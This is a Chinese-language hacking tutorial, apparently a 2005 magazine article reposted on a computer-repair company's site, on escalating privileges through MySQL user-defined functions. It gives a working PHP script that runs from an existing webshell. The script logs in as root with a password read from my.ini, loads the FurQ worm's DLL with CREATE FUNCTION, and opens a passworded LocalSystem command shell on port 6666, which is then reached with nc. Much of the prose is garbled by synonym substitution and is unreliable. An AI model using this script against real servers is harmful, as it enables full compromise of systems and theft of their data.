设为主页 | 加入收藏 | 繁體中文

提权,以MySQL之名

  注:稿件已刊登于《黑客防地》2005年第7期上,转载请著明版权与来由。
  前不久网上公然了一个MySQL Func的毛病,讲的是利用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器。最早看到相关的报道是在o-otik上,但是颁布的是针对Unix体系的Exploit,并且成功率也不是很高.而近期,海内有高手放出针对Win体系的相关文章,于是我马上找来与朋侪一同研讨.
  实在我们早就能想到.当我们在对MSSQL\Oracle数据库举行攻击的时间,得到了最高数据库中权限的帐户,每每都是实行特别的扩展过程或者函数来举行攻击的。比如MSSQL有Xp_cmdshell,Oracle可以通过Msvcrt.dll来创建一个特别的函数.而我们却始终没有想到,作为盛行的数据库软件之一的MySQL,也是可以举行函数的创建的.由此看来,MySQL的这个毛病不应称为毛病而仅仅是一个技术罢了.
  废话一堆过后,我们来了解一下怎么在MySQL里创建一个函数吧.这比如何利用紧张许多,只要了解了原理,运用就能越发机动,而且可以与其他头脑领悟贯通.
  MySQL中创建一个函数的语句为:
  Create Function FunctionName Returns [String|Integer|Real] Soname 'C:\function.dll';
  此中FunctionName指的是函数的名称,C:\Function.DLL指的是函数所挪用的DLL,而函数名正是DLL中的函数名称.不过这里必要我们细致的是,要是我们必要MySQL可以在函数之中附带一个参数的话,那么就要符合UDF情势的程序编写规则,详细的可以查看MySQL手册的第14节:《为MySQL增长新函数》.而此中STRING,INTEGET,REAL是函数实行后所返回的值的情势.当然,我们大可不用遵循UDF情势的编写,实在要是我们的函数中利用一个我们要实行的代码,而不利用参数,一样可以到达攻击的效果,比如说System("command.com")等等.网上现在以此毛病举行攻击的FurQ蠕虫就是一个不利用UDF格式的例子.但是细致,这个创建函数的语句必需要求我们所用的MySQL帐户有对mysql这个数据库的写权限,不然无法正常利用.
  好了.了解了原理之后,我们来实战一下如何利用MySQL提升权限.
  在这里我们曾经通过百般百般的毛病取得了一个服务器的WebShell,我这里演示的是angel的phpspy,因为PHP默许有连接MySQL的函数,而ASP这些必要利用附加的组件来举行连接,自己不具备条件的.
  一般来说,在Win体系上面,许多软件都市在体系目录下创建一个叫my.ini的文件,此中包罗了很敏感的MySQL信息.而要是我们攻克的主机没有十分好的权限设置的话,我们自己就具有对%windir%目录的欣赏权限,所以可以十分容易的读取此中的信息.而且十分多的办理员通常是将root帐户与暗码写进这个My.ini,所以一旦我们读到root用户的暗码,就可以利用整个MySQL数据库或者是服务器了.
  得到MySQL的Root暗码之后,我们必要上传我们的DLL文件,我这里利用的是从FurQ蠕虫中提取的FurQ.dll.实行这个FurQ.DLL中的Shell函数,体系将会在6666端口翻开一个带暗码的CMDShell,当然,暗码我们曾经知道,就是"FurQ"几个字符罢了.不过我们现在还没有实行的条件.必要通过MySQL将这个函数创建到MySQL中去.
  现在,我们用PHPSPY新建一个PHP文件.
  输入以下的内容
  $link=mysql_connect('127.0.0.1','root','root');
  if (!$link) {
  die('Could NOt Connect The Database!: ' . mysql_error());
  };
  echo "Good Boy.Connected!
  ";
  //这里的root\root就是从my.ini中读取的用户和暗码.
  @mysql_select_db('mysql') or die ('use database mysql failed!');
  echo "Yes You Did!
  ";
  //这里选择利用MySQL数据库表.当然你也可以选择别的,如test.
  $query="Create Function Shell RETURNS INTEGER SONAME 'd:\wwwroot\FurQ.dll';";
  @$result = mysql_query($query, $link) or die ("Create Function Failed!");
  echo "Goddess...Successed!
  ";
  //这两句话是要害,实行MySQL的创建函数语句.将d:\wwwroot\furq.dll中的Shell函数创建进MySQL中.使得MySQL可以实行这个Shell函数.
  $query="Select Shell();";
  @$result = mysql_query($query, $link) or die ("Execute failed");
  echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
  ";
  //这一步是实行这个Shell函数,翻开服务器的6666端口.
  ?>
  再次实行,全部正常返回.如图2.那么现在,我们就可以利用nc连接服务器的6666端口,输入这个暗码:FurQ.然后就返回CMDSHELL了..当然,由于继承的是MySQL的权限,而Win体系下MySQL默许以服务安装,也就是说,我们得到的Shell为LocalSystem权限,可以为所欲为了,不过不要做好事哦.呵呵.
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: